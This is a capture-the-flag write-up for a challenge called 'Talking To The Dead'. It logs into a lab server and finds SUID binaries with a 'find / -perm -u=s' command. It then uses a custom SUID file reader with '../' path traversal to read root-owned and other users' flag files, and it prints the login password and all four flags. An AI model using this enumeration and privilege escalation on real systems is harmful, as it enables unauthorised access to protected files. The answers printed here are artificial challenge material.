Talking To The Dead

Flags 1, 2, 3 and 4

Author: syyntax

We've obtained access to a server maintained by spookyboi. There are four flag files that we need you to read and submit (flag1.txt, flag2.txt, etc). Submit the contents of flag1.txt.

ssh [e-mail]

Password: hacktober-Underdog-Truth-Glimpse

Flags 1 and 2:

SSHing in and running the command whoami we see we're logged in as luciafer.

Navigating to /home/luciafer/Documents, I ran ls -alt and the output was as follows:

luciafer@40504779afeb:~/Documents$ ls -alt
total 20
drwxrwxr-x 1 luciafer luciafer 4096 Oct  6 08:36 .
-rw-rw-r-- 1 luciafer luciafer   47 Oct  6 08:36 .flag2.txt
-rw-rw-r-- 1 luciafer luciafer   47 Oct  5 14:55 flag1.txt
drwxr-xr-x 1 luciafer luciafer 4096 Oct  5 14:54 ..

Since luciafer owns both these files, I can simply run cat flag1.txt and cat .flag2.txt to get the flags.

flag 1: flag{cb07e9d6086d50ee11c0d968f1e5c4bf1c89418c} flag 2: flag{728ec98bfaa302b2dfc2f716d3de7869f3eadcbf}

Flags 3 and 4:

After looking around, I found flag3.txt located at /home/spookyboi/Documents/flag3.txt and flag4.txt at /root/flag4.txt. Since luciafer doesn't have sufficient perms to read these files, I ran the command find / -perm -u=s -type f 2>/dev/null to find SUID files.

SUID is a special file permission for executable files, which enables other users to run the file with effective permissions of the file owner. This means we could privilege escalate to root or a higher privileged user, giving us perms to read the flag files.

This was the output:

luciafer@40504779afeb:/root$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/chfn
/usr/local/bin/ouija
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

The program ouija jumped out to me, so i tried running it:

luciafer@40504779afeb:/root$ /usr/local/bin/ouija
OUIJA 6.66 - Read files in the /root directory
Usage: ouija [FILENAME]
EXAMPLES:
    ouija file.txt
    ouija read.meluciafer@40504779afeb:/root$

Excellent! it reads files in the /root directory, meaning we simply go

luciafer@40504779afeb:/root$ /usr/local/bin/ouija flag4.txt
flag{4781cbffd13df6622565d45e790b4aac2a4054dc}

We use the same program to get the flag from flag3.txt as so:

luciafer@40504779afeb:/root$ /usr/local/bin/ouija ../home/spookyboi/Documents/flag3.txt 
flag{445b987b5b80e445c3147314dbfa71acd79c2b67}

Note: as we start in the /root directory, so must go back one (../) to navigate to flag3.txt.

By das